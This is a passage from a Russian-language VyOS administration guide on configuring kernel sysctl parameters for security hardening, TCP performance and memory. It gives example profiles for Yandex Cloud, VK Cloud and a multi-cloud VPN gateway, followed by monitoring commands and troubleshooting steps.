set system sysctl parameter net.ipv4.conf.default.rp_filter value 1

# Loose mode (для сложной топологии с несимметричным роутингом)
# set system sysctl parameter net.ipv4.conf.all.rp_filter value 2
```

#### ARP Parameters

```bash
# Время жизни ARP записей (секунды)
set system sysctl parameter net.ipv4.neigh.default.gc_stale_time value 120

# Таблица ARP - thresholds
set system sysctl parameter net.ipv4.neigh.default.gc_thresh1 value 128
set system sysctl parameter net.ipv4.neigh.default.gc_thresh2 value 512
set system sysctl parameter net.ipv4.neigh.default.gc_thresh3 value 1024
```

### 2. Сетевые параметры IPv6 (net.ipv6.*)

#### IPv6 Forwarding

```bash
# Включить IPv6 forwarding
set system sysctl parameter net.ipv6.conf.all.forwarding value 1
set system sysctl parameter net.ipv6.conf.default.forwarding value 1
```

#### IPv6 Security

```bash
# Запретить IPv6 router advertisements
set system sysctl parameter net.ipv6.conf.all.accept_ra value 0
set system sysctl parameter net.ipv6.conf.default.accept_ra value 0

# Запретить IPv6 redirects
set system sysctl parameter net.ipv6.conf.all.accept_redirects value 0
set system sysctl parameter net.ipv6.conf.default.accept_redirects value 0

# Запретить source routing
set system sysctl parameter net.ipv6.conf.all.accept_source_route value 0
set system sysctl parameter net.ipv6.conf.default.accept_source_route value 0
```

#### IPv6 Autoconfiguration

```bash
# Отключить IPv6 autoconf (для статической конфигурации)
set system sysctl parameter net.ipv6.conf.all.autoconf value 0
set system sysctl parameter net.ipv6.conf.default.autoconf value 0
```

#### Полное отключение IPv6 (если не используется)

```bash
set system sysctl parameter net.ipv6.conf.all.disable_ipv6 value 1
set system sysctl parameter net.ipv6.conf.default.disable_ipv6 value 1
set system sysctl parameter net.ipv6.conf.lo.disable_ipv6 value 1
```

### 3. Core Network Parameters (net.core.*)

#### Network Buffers

```bash
# Максимальный размер receive buffer
set system sysctl parameter net.core.rmem_max value 16777216

# Максимальный размер send buffer
set system sysctl parameter net.core.wmem_max value 16777216

# Default receive buffer
set system sysctl parameter net.core.rmem_default value 262144

# Default send buffer
set system sysctl parameter net.core.wmem_default value 262144

# Размер буфера для оптимизации памяти
set system sysctl parameter net.core.optmem_max value 25165824
```

#### Network Device Queue

```bash
# Максимальная длина очереди пакетов для обработки
set system sysctl parameter net.core.netdev_max_backlog value 5000

# Бюджет на обработку пакетов за один poll
set system sysctl parameter net.core.netdev_budget value 600
```

#### Somaxconn

```bash
# Максимальный backlog для listen() системного вызова
# Важно для высоконагруженных веб-серверов
set system sysctl parameter net.core.somaxconn value 4096
```

### 4. Virtual Memory (vm.*)

#### Swappiness

```bash
# Агрессивность использования swap (0-100)
# 0 = минимум swap, 100 = активно использовать swap
# Рекомендуется: 10 для серверов, 60 для desktop

set system sysctl parameter vm.swappiness value 10
```

#### Cache Pressure

```bash
# Давление на освобождение кэша (0-100)
# Меньше значение = больше кэша сохраняется
set system sysctl parameter vm.vfs_cache_pressure value 50
```

#### Dirty Memory

```bash
# Процент памяти для dirty pages перед началом записи
set system sysctl parameter vm.dirty_ratio value 10

# Процент памяти для background записи
set system sysctl parameter vm.dirty_background_ratio value 5

# Время жизни dirty data (centiseconds = 1/100 секунды)
set system sysctl parameter vm.dirty_expire_centisecs value 3000

# Интервал wakeup pdflush для записи (centiseconds)
set system sysctl parameter vm.dirty_writeback_centisecs value 500
```

#### OOM (Out of Memory) Killer

```bash
# OOM killer behavior
# 0 = kernel tries to avoid killing
# 1 = kernel kills process more aggressively
# 2 = kernel panics on OOM

set system sysctl parameter vm.panic_on_oom value 0

# Переоценка OOM score
set system sysctl parameter vm.oom_kill_allocating_task value 0
```

### 5. File System (fs.*)

#### File Descriptors

```bash
# Максимальное количество открытых файлов (system-wide)
set system sysctl parameter fs.file-max value 2097152

# Максимум inotify watches (для мониторинга файлов)
set system sysctl parameter fs.inotify.max_user_watches value 524288
```

#### AIO (Asynchronous I/O)

```bash
# Максимум асинхронных IO requests
set system sysctl parameter fs.aio-max-nr value 1048576
```

### 6. Kernel Parameters (kernel.*)

#### Kernel Panic

```bash
# Автоматическая перезагрузка после panic (секунды)
# 0 = не перезагружаться
set system sysctl parameter kernel.panic value 10

# Panic при kernel oops
set system sysctl parameter kernel.panic_on_oops value 1
```

#### Core Dumps

```bash
# Шаблон имени core dump файла
set system sysctl parameter kernel.core_pattern value '/tmp/core-%e-%p-%t'
```

#### PID Max

```bash
# Максимальный PID (Process ID)
set system sysctl parameter kernel.pid_max value 65536
```

#### SysRq

```bash
# Включить SysRq magic keys (для аварийного управления)
# 1 = enabled, 0 = disabled
set system sysctl parameter kernel.sysrq value 1
```

#### Address Space Layout Randomization (ASLR)

```bash
# ASLR для защиты от эксплойтов
# 0 = disabled
# 1 = random stack/vdso/heap
# 2 = full randomization (recommended)
set system sysctl parameter kernel.randomize_va_space value 2
```

## Примеры конфигураций для типовых сценариев

### Сценарий 1: Базовая безопасность (Security Hardening)

Настройка параметров безопасности для защиты от типовых атак.

```bash
configure

# === IPv4 Security ===

# Включить IP forwarding для роутера
set system sysctl parameter net.ipv4.ip_forward value 1

# Защита от IP spoofing (Reverse Path Filtering)
set system sysctl parameter net.ipv4.conf.all.rp_filter value 1
set system sysctl parameter net.ipv4.conf.default.rp_filter value 1

# Запретить source routing
set system sysctl parameter net.ipv4.conf.all.accept_source_route value 0
set system sysctl parameter net.ipv4.conf.default.accept_source_route value 0

# Запретить ICMP redirects
set system sysctl parameter net.ipv4.conf.all.accept_redirects value 0
set system sysctl parameter net.ipv4.conf.default.accept_redirects value 0
set system sysctl parameter net.ipv4.conf.all.send_redirects value 0
set system sysctl parameter net.ipv4.conf.default.send_redirects value 0
set system sysctl parameter net.ipv4.conf.all.secure_redirects value 0
set system sysctl parameter net.ipv4.conf.default.secure_redirects value 0

# Игнорировать broadcast ping
set system sysctl parameter net.ipv4.icmp_echo_ignore_broadcasts value 1

# Игнорировать bogus ICMP error responses
set system sysctl parameter net.ipv4.icmp_ignore_bogus_error_responses value 1

# SYN flood protection
set system sysctl parameter net.ipv4.tcp_syncookies value 1
set system sysctl parameter net.ipv4.tcp_max_syn_backlog value 8192

# Логировать martian packets (impossible addresses)
set system sysctl parameter net.ipv4.conf.all.log_martians value 1
set system sysctl parameter net.ipv4.conf.default.log_martians value 1

# === IPv6 Security ===

# Запретить IPv6 router advertisements
set system sysctl parameter net.ipv6.conf.all.accept_ra value 0
set system sysctl parameter net.ipv6.conf.default.accept_ra value 0

# Запретить IPv6 redirects
set system sysctl parameter net.ipv6.conf.all.accept_redirects value 0
set system sysctl parameter net.ipv6.conf.default.accept_redirects value 0

# Запретить IPv6 source routing
set system sysctl parameter net.ipv6.conf.all.accept_source_route value 0
set system sysctl parameter net.ipv6.conf.default.accept_source_route value 0

# === Kernel Security ===

# Address Space Layout Randomization
set system sysctl parameter kernel.randomize_va_space value 2

# Ограничить доступ к kernel logs
set system sysctl parameter kernel.dmesg_restrict value 1

# Ограничить доступ к kernel pointers
set system sysctl parameter kernel.kptr_restrict value 2

commit
save
exit
```

### Сценарий 2: High-Performance TCP Tuning

Оптимизация для высокопроизводительных сетевых приложений (1 Gbps+ links).

```bash
configure

# === TCP Buffer Sizes ===

# Увеличенные TCP буферы для высокоскоростных каналов
# Формат: min default max (в байтах)

# TCP receive buffer (4KB, 128KB, 64MB)
set system sysctl parameter net.ipv4.tcp_rmem value '4096 131072 67108864'

# TCP write buffer (4KB, 128KB, 64MB)
set system sysctl parameter net.ipv4.tcp_wmem value '4096 131072 67108864'

# Maximum socket buffer sizes
set system sysctl parameter net.core.rmem_max value 67108864
set system sysctl parameter net.core.wmem_max value 67108864
set system sysctl parameter net.core.rmem_default value 262144
set system sysctl parameter net.core.wmem_default value 262144

# === TCP Performance ===

# TCP window scaling (RFC 1323)
set system sysctl parameter net.ipv4.tcp_window_scaling value 1

# TCP timestamps (RFC 1323)
set system sysctl parameter net.ipv4.tcp_timestamps value 1

# SACK (Selective Acknowledgement)
set system sysctl parameter net.ipv4.tcp_sack value 1

# TCP Fast Open
set system sysctl parameter net.ipv4.tcp_fastopen value 3

# BBR congestion control (best for high-speed links)
set system sysctl parameter net.ipv4.tcp_congestion_control value 'bbr'
set system sysctl parameter net.core.default_qdisc value 'fq'

# === Connection Handling ===

# Повторное использование TIME-WAIT сокетов
set system sysctl parameter net.ipv4.tcp_tw_reuse value 1

# Уменьшить FIN timeout
set system sysctl parameter net.ipv4.tcp_fin_timeout value 15

# Увеличить максимум orphan sockets
set system sysctl parameter net.ipv4.tcp_max_orphans value 131072

# === Network Queue ===

# Увеличить backlog для обработки пакетов
set system sysctl parameter net.core.netdev_max_backlog value 10000

# Увеличить listen backlog
set system sysctl parameter net.core.somaxconn value 8192

# === TCP SYN Queue ===

set system sysctl parameter net.ipv4.tcp_max_syn_backlog value 16384

# === Local Port Range ===

set system sysctl parameter net.ipv4.ip_local_port_range value '10000 65535'

commit
save
exit
```

### Сценарий 3: Оптимизация памяти для роутера

Настройка параметров виртуальной памяти для сетевого устройства.

```bash
configure

# === Swappiness ===

# Минимизировать использование swap
set system sysctl parameter vm.swappiness value 10

# === Cache Pressure ===

# Сохранять больше кэша в памяти
set system sysctl parameter vm.vfs_cache_pressure value 50

# === Dirty Memory ===

# Настройка записи dirty pages
set system sysctl parameter vm.dirty_ratio value 10
set system sysctl parameter vm.dirty_background_ratio value 5
set system sysctl parameter vm.dirty_expire_centisecs value 3000
set system sysctl parameter vm.dirty_writeback_centisecs value 500

# === OOM Killer ===

# Не делать panic при OOM
set system sysctl parameter vm.panic_on_oom value 0

# Минимум свободной памяти (KB)
set system sysctl parameter vm.min_free_kbytes value 65536

commit
save
exit
```

### Сценарий 4: Увеличение лимитов файловых дескрипторов

Для роутеров с большим количеством одновременных соединений (BGP, VPN, NAT).

```bash
configure

# === File Descriptors ===

# Максимум открытых файлов (system-wide)
set system sysctl parameter fs.file-max value 2097152

# === Network Connection Tracking ===

# Увеличить conntrack max (если используется NAT/Firewall)
# Примечание: это модуль netfilter, требует модуля nf_conntrack
set system sysctl parameter net.netfilter.nf_conntrack_max value 524288

# === Inotify ===

# Увеличить лимиты inotify (для мониторинга файлов)
set system sysctl parameter fs.inotify.max_user_watches value 524288
set system sysctl parameter fs.inotify.max_user_instances value 512

commit
save
exit
```

## Примеры для облачных платформ

### Пример 1: Yandex Cloud - High-Performance TCP для Cloud Workloads

Оптимизация VyOS в Yandex Cloud для высокопроизводительной обработки трафика между VM.

```bash
configure

# === Description ===
# Конфигурация для VyOS в Yandex Cloud
# Оптимизация для высокоскоростных внутренних соединений (до 10 Gbps)
# Улучшение latency и throughput для cloud workloads

# === Basic Forwarding ===

set system sysctl parameter net.ipv4.ip_forward value 1
set system sysctl parameter net.ipv6.conf.all.forwarding value 1

# === TCP Performance для Cloud ===

# Увеличенные буферы для высокой пропускной способности
set system sysctl parameter net.ipv4.tcp_rmem value '4096 131072 67108864'
set system sysctl parameter net.ipv4.tcp_wmem value '4096 131072 67108864'
set system sysctl parameter net.core.rmem_max value 67108864
set system sysctl parameter net.core.wmem_max value 67108864

# BBR congestion control (оптимально для облачных сетей)
set system sysctl parameter net.ipv4.tcp_congestion_control value 'bbr'
set system sysctl parameter net.core.default_qdisc value 'fq'

# TCP Fast Open для уменьшения latency
set system sysctl parameter net.ipv4.tcp_fastopen value 3

# Оптимизация TCP window
set system sysctl parameter net.ipv4.tcp_window_scaling value 1
set system sysctl parameter net.ipv4.tcp_timestamps value 1
set system sysctl parameter net.ipv4.tcp_sack value 1

# === Connection Management ===

# Быстрое переиспользование сокетов
set system sysctl parameter net.ipv4.tcp_tw_reuse value 1
set system sysctl parameter net.ipv4.tcp_fin_timeout value 15

# Увеличенные лимиты соединений
set system sysctl parameter net.ipv4.tcp_max_orphans value 131072
set system sysctl parameter net.ipv4.tcp_max_syn_backlog value 16384

# === Network Queue для Cloud NIC ===

# Увеличение backlog (важно для burst трафика в cloud)
set system sysctl parameter net.core.netdev_max_backlog value 10000
set system sysctl parameter net.core.somaxconn value 8192

# === Security для Yandex Cloud ===

# Reverse Path Filtering (strict mode)
set system sysctl parameter net.ipv4.conf.all.rp_filter value 1
set system sysctl parameter net.ipv4.conf.default.rp_filter value 1

# SYN flood protection
set system sysctl parameter net.ipv4.tcp_syncookies value 1

# Запретить ICMP redirects
set system sysctl parameter net.ipv4.conf.all.accept_redirects value 0
set system sysctl parameter net.ipv4.conf.default.accept_redirects value 0
set system sysctl parameter net.ipv4.conf.all.send_redirects value 0
set system sysctl parameter net.ipv4.conf.default.send_redirects value 0

# === Memory для Cloud VM ===

# Минимизировать swap (cloud VMs обычно имеют достаточно RAM)
set system sysctl parameter vm.swappiness value 10

# Оптимизация dirty pages
set system sysctl parameter vm.dirty_ratio value 10
set system sysctl parameter vm.dirty_background_ratio value 5

# === File Descriptors для Cloud Services ===

set system sysctl parameter fs.file-max value 2097152

commit
save
exit
```

**Проверка применения параметров в Yandex Cloud:**

```bash
# Проверка BBR congestion control
sysctl net.ipv4.tcp_congestion_control
sysctl net.ipv4.tcp_available_congestion_control

# Проверка буферов
sysctl net.ipv4.tcp_rmem
sysctl net.ipv4.tcp_wmem

# Мониторинг TCP статистики
netstat -s | grep -i tcp

# Проверка queue длины
ip -s link show eth0
```

### Пример 2: VK Cloud - Security Hardening для DMZ роутера

Усиленная безопасность для VyOS в VK Cloud, работающего как edge router в DMZ.

```bash
configure

# === Description ===
# VyOS Edge Router в VK Cloud DMZ
# Максимальная безопасность для защиты от внешних угроз
# Оптимизация для обработки mixed trusted/untrusted traffic

# === Basic Routing ===

set system sysctl parameter net.ipv4.ip_forward value 1

# === Strict Security - IP Spoofing Protection ===

# Reverse Path Filtering - strict mode
set system sysctl parameter net.ipv4.conf.all.rp_filter value 1
set system sysctl parameter net.ipv4.conf.default.rp_filter value 1

# Запретить source routing (защита от routing attacks)
set system sysctl parameter net.ipv4.conf.all.accept_source_route value 0
set system sysctl parameter net.ipv4.conf.default.accept_source_route value 0

# === ICMP Security ===

# Запретить ICMP redirects
set system sysctl parameter net.ipv4.conf.all.accept_redirects value 0
set system sysctl parameter net.ipv4.conf.default.accept_redirects value 0
set system sysctl parameter net.ipv4.conf.all.send_redirects value 0
set system sysctl parameter net.ipv4.conf.default.send_redirects value 0
set system sysctl parameter net.ipv4.conf.all.secure_redirects value 0
set system sysctl parameter net.ipv4.conf.default.secure_redirects value 0

# Игнорировать broadcast ping (smurf attack protection)
set system sysctl parameter net.ipv4.icmp_echo_ignore_broadcasts value 1

# Игнорировать bogus ICMP responses
set system sysctl parameter net.ipv4.icmp_ignore_bogus_error_responses value 1

# Rate limit ICMP responses
set system sysctl parameter net.ipv4.icmp_ratelimit value 100

# === SYN Flood Protection ===

# Включить SYN cookies
set system sysctl parameter net.ipv4.tcp_syncookies value 1

# Увеличить SYN backlog
set system sysctl parameter net.ipv4.tcp_max_syn_backlog value 8192

# Уменьшить SYN retries (быстрее отбрасывать атаки)
set system sysctl parameter net.ipv4.tcp_syn_retries value 2
set system sysctl parameter net.ipv4.tcp_synack_retries value 2

# === Connection Limits для DMZ ===

# Ограничить orphan sockets
set system sysctl parameter net.ipv4.tcp_max_orphans value 65536

# Быстрое закрытие соединений
set system sysctl parameter net.ipv4.tcp_fin_timeout value 20

# === Logging и Monitoring ===

# Логировать martian packets (подозрительные адреса)
set system sysctl parameter net.ipv4.conf.all.log_martians value 1
set system sysctl parameter net.ipv4.conf.default.log_martians value 1

# === IPv6 Security (если используется) ===

# Запретить IPv6 router advertisements
set system sysctl parameter net.ipv6.conf.all.accept_ra value 0
set system sysctl parameter net.ipv6.conf.default.accept_ra value 0

# Запретить IPv6 redirects
set system sysctl parameter net.ipv6.conf.all.accept_redirects value 0
set system sysctl parameter net.ipv6.conf.default.accept_redirects value 0

# Если IPv6 не используется - отключить полностью
# set system sysctl parameter net.ipv6.conf.all.disable_ipv6 value 1
# set system sysctl parameter net.ipv6.conf.default.disable_ipv6 value 1

# === Kernel Security ===

# Address Space Layout Randomization (полная)
set system sysctl parameter kernel.randomize_va_space value 2

# Ограничить доступ к kernel logs (неавторизованным пользователям)
set system sysctl parameter kernel.dmesg_restrict value 1

# Скрыть kernel pointers
set system sysctl parameter kernel.kptr_restrict value 2

# Panic и перезагрузка при критических ошибках
set system sysctl parameter kernel.panic value 10
set system sysctl parameter kernel.panic_on_oops value 1

# === Network Performance (сбалансированное с безопасностью) ===

# Умеренные буферы
set system sysctl parameter net.ipv4.tcp_rmem value '4096 87380 16777216'
set system sysctl parameter net.ipv4.tcp_wmem value '4096 65536 16777216'
set system sysctl parameter net.core.rmem_max value 16777216
set system sysctl parameter net.core.wmem_max value 16777216

# Backlog для обработки
set system sysctl parameter net.core.netdev_max_backlog value 5000
set system sysctl parameter net.core.somaxconn value 4096

# === Connection Tracking для Firewall/NAT ===

# Увеличить conntrack table для NAT
set system sysctl parameter net.netfilter.nf_conntrack_max value 524288

# Timeout для conntrack (более агрессивный для DMZ)
set system sysctl parameter net.netfilter.nf_conntrack_tcp_timeout_established value 3600

commit
save
exit
```

**Проверка безопасности в VK Cloud:**

```bash
# Проверка rp_filter (должен быть 1)
sysctl net.ipv4.conf.all.rp_filter

# Проверка SYN cookies
sysctl net.ipv4.tcp_syncookies

# Проверка ICMP redirects (должны быть 0)
sysctl net.ipv4.conf.all.accept_redirects
sysctl net.ipv4.conf.all.send_redirects

# Проверка martian packet logging
sysctl net.ipv4.conf.all.log_martians

# Мониторинг SYN flood атак
netstat -s | grep -i syn

# Мониторинг conntrack использования
conntrack -C
cat /proc/sys/net/netfilter/nf_conntrack_count
cat /proc/sys/net/netfilter/nf_conntrack_max
```

### Пример 3: Multi-Cloud VPN Gateway (Yandex + VK Cloud)

Конфигурация для VyOS, работающего как VPN шлюз между Yandex Cloud и VK Cloud.

```bash
configure

# === Description ===
# Multi-cloud VPN Gateway
# Оптимизация для VPN туннелей (IPsec/WireGuard)
# Балансировка производительности и безопасности

# === Forwarding ===

set system sysctl parameter net.ipv4.ip_forward value 1
set system sysctl parameter net.ipv6.conf.all.forwarding value 1

# === VPN Specific - PMTU Discovery ===

# Включить PMTU discovery (важно для VPN)
set system sysctl parameter net.ipv4.ip_no_pmtu_disc value 0

# === TCP Optimizations для VPN ===

# MTU probing для TCP (автоматическое определение MTU)
set system sysctl parameter net.ipv4.tcp_mtu_probing value 1

# TCP buffers (умеренные для VPN overhead)
set system sysctl parameter net.ipv4.tcp_rmem value '4096 87380 33554432'
set system sysctl parameter net.ipv4.tcp_wmem value '4096 65536 33554432'
set system sysctl parameter net.core.rmem_max value 33554432
set system sysctl parameter net.core.wmem_max value 33554432

# === Congestion Control для VPN ===

# BBR для лучшей работы через туннели
set system sysctl parameter net.ipv4.tcp_congestion_control value 'bbr'
set system sysctl parameter net.core.default_qdisc value 'fq'

# === Security (Moderate для VPN) ===

# Loose rp_filter для VPN туннелей (asymmetric routing)
set system sysctl parameter net.ipv4.conf.all.rp_filter value 2
set system sysctl parameter net.ipv4.conf.default.rp_filter value 2

# SYN flood protection
set system sysctl parameter net.ipv4.tcp_syncookies value 1
set system sysctl parameter net.ipv4.tcp_max_syn_backlog value 8192

# Запретить ICMP redirects
set system sysctl parameter net.ipv4.conf.all.accept_redirects value 0
set system sysctl parameter net.ipv4.conf.all.send_redirects value 0

# === IPsec Specific ===

# Отключить ICMP redirects на VPN интерфейсах
# (будет применено на конкретных интерфейсах через конфигурацию)

# === Performance для IPsec ===

# Увеличить backlog для обработки зашифрованного трафика
set system sysctl parameter net.core.netdev_max_backlog value 10000
set system sysctl parameter net.core.somaxconn value 8192

# === Memory Optimization ===

set system sysctl parameter vm.swappiness value 10
set system sysctl parameter vm.vfs_cache_pressure value 50

# === Connection Limits ===

set system sysctl parameter net.ipv4.tcp_max_orphans value 131072
set system sysctl parameter fs.file-max value 2097152

commit
save
exit
```

## Команды проверки и мониторинга

### Просмотр текущих значений sysctl

```bash
# Показать все параметры sysctl
sysctl -a

# Показать конкретный параметр
sysctl net.ipv4.ip_forward

# Показать все параметры в категории
sysctl -a | grep net.ipv4
sysctl -a | grep vm

# Прямое чтение из /proc/sys
cat /proc/sys/net/ipv4/ip_forward
```

### Просмотр VyOS конфигурации sysctl

```bash
# Показать все настроенные параметры sysctl в VyOS
show configuration system sysctl

# Показать в формате set commands
show configuration commands | match sysctl

# Показать конкретный параметр
show configuration system sysctl parameter net.ipv4.ip_forward
```

### Применение параметров вручную (временно)

```bash
# Применить параметр без изменения конфигурации (до перезагрузки)
sudo sysctl -w net.ipv4.ip_forward=1

# Применить из файла
sudo sysctl -p /etc/sysctl.d/99-vyos.conf

# Загрузить все конфигурации sysctl
sudo sysctl --system
```

### Мониторинг сетевой производительности

```bash
# TCP статистика
netstat -s | grep -i tcp

# Показать retransmits
ss -ti

# Показать congestion control algorithm в использовании
ss -ti | grep -i cubic
ss -ti | grep -i bbr

# Проверка buffer sizes для активных соединений
ss -m

# Мониторинг backlog
ss -l | grep -i listen
```

### Проверка буферов и очередей

```bash
# Текущие размеры буферов
sysctl net.core.rmem_max
sysctl net.core.wmem_max
sysctl net.ipv4.tcp_rmem
sysctl net.ipv4.tcp_wmem

# Статистика сетевых очередей
ip -s link show eth0

# Backlog статистика
cat /proc/net/netstat | grep -i tcpext

# Conntrack статистика (если используется)
conntrack -C
cat /proc/sys/net/netfilter/nf_conntrack_count
cat /proc/sys/net/netfilter/nf_conntrack_max
```

### Мониторинг памяти

```bash
# Использование памяти
free -h

# Swappiness текущее значение
sysctl vm.swappiness

# Статистика swap
vmstat 1 5

# Dirty pages статистика
cat /proc/meminfo | grep -i dirty
sysctl vm.dirty_ratio
sysctl vm.dirty_background_ratio

# OOM killer logs
dmesg | grep -i oom
journalctl -k | grep -i oom
```

### Проверка файловых дескрипторов

```bash
# Текущее использование file descriptors (system-wide)
cat /proc/sys/fs/file-nr

# Максимум file descriptors
sysctl fs.file-max

# File descriptors по процессам
lsof | wc -l

# Top процессы по открытым файлам
lsof | awk '{print $1}' | sort | uniq -c | sort -rn | head -10
```

## Устранение неполадок (Troubleshooting)

### Проблема 1: Параметр sysctl не применяется после commit

**Симптомы:**
- Команда `show configuration system sysctl` показывает параметр
- `sysctl <parameter>` показывает старое значение
- Параметр не применяется в `/proc/sys/`

**Диагностика:**

```bash
# Проверить конфигурацию VyOS
show configuration system sysctl parameter net.ipv4.ip_forward

# Проверить текущее значение
sysctl net.ipv4.ip_forward

# Проверить сгенерированный файл
cat /etc/sysctl.d/99-vyos.conf | grep ip_forward

# Проверить логи
journalctl -xe | grep sysctl
```

**Возможные причины:**

1. **Некорректное имя параметра**

```bash
# Неправильно (underscores вместо dots)
set system sysctl parameter net_ipv4_ip_forward value 1

# Правильно
set system sysctl parameter net.ipv4.ip_forward value 1
```

2. **Параметр не существует в текущем ядре**

```bash
# Проверить доступность параметра
ls -la /proc/sys/net/ipv4/ | grep ip_forward
```

3. **Модуль ядра не загружен**

```bash
# Некоторые параметры требуют модулей
# Например, nf_conntrack для conntrack параметров
lsmod | grep nf_conntrack

# Загрузить модуль если нужно
sudo modprobe nf_conntrack
```

**Решение:**

```bash
# 1. Исправить конфигурацию
configure
delete system sysctl parameter <incorrect-parameter>
set system sysctl parameter <correct-parameter> value <value>
commit
save
exit

# 2. Применить вручную для немедленного эффекта
sudo sysctl -w net.ipv4.ip_forward=1

# 3. Перезагрузить (если параметр критичен)
sudo reboot
```

### Проблема 2: Производительность сети не улучшилась после изменения буферов

**Симптомы:**
- TCP буферы увеличены в sysctl
- Пропускная способность остается низкой
- Latency не улучшается

**Диагностика:**

```bash
# Проверить примененные параметры
sysctl net.ipv4.tcp_rmem
sysctl net.ipv4.tcp_wmem
sysctl net.core.rmem_max
sysctl net.core.wmem_max

# Проверить автотюнинг
sysctl net.ipv4.tcp_moderate_rcvbuf

# Мониторинг активных соединений
ss -ti | head -20

# Проверить congestion control
sysctl net.ipv4.tcp_congestion_control

# Статистика ретрансмитов
netstat -s | grep -i retrans

# Проверить NIC ring buffers
ethtool -g eth0
```

**Возможные причины:**

1. **net.core.rmem_max / wmem_max меньше чем tcp_rmem / tcp_wmem максимумы**

```bash
# Проблема: tcp_rmem max = 67108864, но rmem_max = 212992
sysctl net.ipv4.tcp_rmem  # 4096 87380 67108864
sysctl net.core.rmem_max  # 212992

# Решение: увеличить core limits
configure
set system sysctl parameter net.core.rmem_max value 67108864
set system sysctl parameter net.core.wmem_max value 67108864
commit
save
```

2. **Congestion control не оптимизирован**

```bash
# BBR может быть недоступен
sysctl net.ipv4.tcp_available_congestion_control

# Если BBR не в списке, использовать cubic
configure
set system sysctl parameter net.ipv4.tcp_congestion_control value 'cubic'
commit
save
```

3. **QDisc не оптимизирован для BBR**

```bash
# Для BBR требуется fq qdisc
sysctl net.core.default_qdisc

configure
set system sysctl parameter net.core.default_qdisc value 'fq'
commit
save
```

4. **NIC offloading отключен**

```bash
# Проверить offloading
ethtool -k eth0 | grep offload

# Включить если выключен
sudo ethtool -K eth0 tso on
sudo ethtool -K eth0 gso on
sudo ethtool -K eth0 gro on
```

### Проблема 3: Система не загружается после изменения kernel параметров

**Симптомы:**
- VyOS не загружается или kernel panic
- Система зависает при загрузке
- Невозможно войти в систему

**Решение через GRUB rescue:**

1. **Загрузиться в single user mode:**

```bash
# При загрузке нажать 'e' в GRUB menu
# Добавить к строке linux:
linux ... single init=/bin/bash

# Загрузиться
```

2. **Откатить изменения:**

```bash
# Remount filesystem в read-write
mount -o remount,rw /

# Удалить проблемный параметр из конфигурации
# Отредактировать /config/config.boot
vi /config/config.boot

# Найти и удалить строку с проблемным sysctl параметром

# Или удалить весь sysctl конфиг
rm -f /etc/sysctl.d/99-vyos.conf

# Перезагрузить
reboot
```

3. **Альтернатива: загрузиться с предыдущей конфигурации:**

```bash
# При загрузке VyOS выбрать предыдущий commit из boot menu
# VyOS автоматически откатится к предыдущей рабочей конфигурации
```

**Профилактика:**

```bash
# Всегда тестировать критичные изменения перед save
configure
set system sysctl parameter <parameter> value <value>
commit

# НЕ ДЕЛАТЬ save сразу!
# Тестировать работоспособность

# Если все работает - сохранить
save

# Если проблемы - откатить
rollback
```

### Проблема 4: Conntrack table переполняется (NAT/Firewall)

**Симптомы:**
- Сообщение "nf_conntrack: table full, dropping packet"
- Новые соединения не устанавливаются
- Intermittent connectivity issues

**Диагностика:**

```bash
# Проверить текущее использование conntrack
conntrack -C

# Проверить максимум
cat /proc/sys/net/netfilter/nf_conntrack_max

# Проверить kernel logs
dmesg | grep -i conntrack
journalctl -k | grep -i conntrack

# Статистика conntrack
cat /proc/net/nf_conntrack | wc -l
```

**Решение:**

```bash
configure

# Увеличить nf_conntrack_max
set system sysctl parameter net.netfilter.nf_conntrack_max value 524288

# Увеличить hashsize (требует перезагрузки модуля)
# hashsize обычно = nf_conntrack_max / 4

# Уменьшить timeout для established соединений (более агрессивно)
set system sysctl parameter net.netfilter.nf_conntrack_tcp_timeout_established value 3600

# Уменьшить timeout для TIME_WAIT
set system sysctl parameter net.netfilter.nf_conntrack_tcp_timeout_time_wait value 30

commit
save
exit

# Для немедленного эффекта
sudo sysctl -w net.netfilter.nf_conntrack_max=524288
```

**Увеличение hashsize (требует перезагрузки):**

```bash
# Добавить параметр модуля
sudo vi /etc/modprobe.d/nf_conntrack.conf

# Добавить:
options nf_conntrack hashsize=131072

# Перезагрузить модуль (осторожно! Сбросит все существующие соединения)
sudo rmmod nf_conntrack
sudo modprobe nf_conntrack

# Или перезагрузить систему
sudo reboot
```

### Проблема 5: OOM Killer убивает процессы

**Симптомы:**
- Система убивает процессы при нехватке памяти
- В логах сообщения "Out of memory: Kill process"
- Непредсказуемое поведение системы

**Диагностика:**

```bash
# Проверить логи OOM killer
dmesg | grep -i oom
journalctl -k | grep -i oom

# Проверить использование памяти
free -h

# Проверить swap
swapon --show

# Проверить OOM параметры
sysctl vm.panic_on_oom
sysctl vm.oom_kill_allocating_task

# Процессы с высоким OOM score
cat /proc/*/oom_score | sort -n | tail -10
```

**Решение:**

```bash
configure

# Не делать panic при OOM (позволить убить процесс)
set system sysctl parameter vm.panic_on_oom value 0

# Увеличить swappiness если нужен swap
set system sysctl parameter vm.swappiness value 30

# Увеличить min_free_kbytes (резервировать больше памяти)
set system sysctl parameter vm.min_free_kbytes value 131072

commit
save
exit
```

**Добавление swap (если недостаточно RAM):**

```bash
# Создать swap файл (1GB)
sudo dd if=/dev/zero of=/swap bs=1M count=1024
sudo chmod 600 /swap
sudo mkswap /swap
sudo swapon /swap

# Сделать постоянным
sudo vi /etc/fstab
# Добавить:
/swap none swap sw 0 0
```

## Лучшие практики (Best Practices)

### 1. Тестирование изменений

**Всегда тестируйте перед сохранением:**

```bash
configure

# Внести изменения
set system sysctl parameter <parameter> value <value>

# Применить
commit

# ТЕСТИРОВАТЬ СИСТЕМУ!
# Проверить:
# - Работоспособность сети
# - Доступность сервисов
# - Производительность
# - Логи на ошибки

# Если все работает - сохранить
save

# Если проблемы - откатить
rollback
```

### 2. Документирование изменений

**Используйте commit comments:**

```bash
configure
set system sysctl parameter net.ipv4.tcp_rmem value '4096 131072 67108864'
commit comment "Increased TCP receive buffers for high-speed 10G link - Ticket #12345"
save
```

**Ведите changelog:**

```bash
# Просмотр истории изменений
show system commit
show system commit diff 5
```

### 3. Постепенное внедрение

**Не меняйте все параметры сразу:**

```bash
# Плохо: 50 параметров одновременно
# Невозможно определить причину проблемы

# Хорошо: поэтапное внедрение
# Шаг 1: Безопасность (rp_filter, syn_cookies)
# Тест
# Шаг 2: TCP буферы
# Тест
# Шаг 3: Congestion control
# Тест
```

### 4. Baseline измерения

**Измеряйте ДО и ПОСЛЕ:**

```bash
# Baseline перед изменениями
iperf3 -c server -t 60 > before.txt
netstat -s > netstat-before.txt

# Внести изменения sysctl

# Тест после изменений
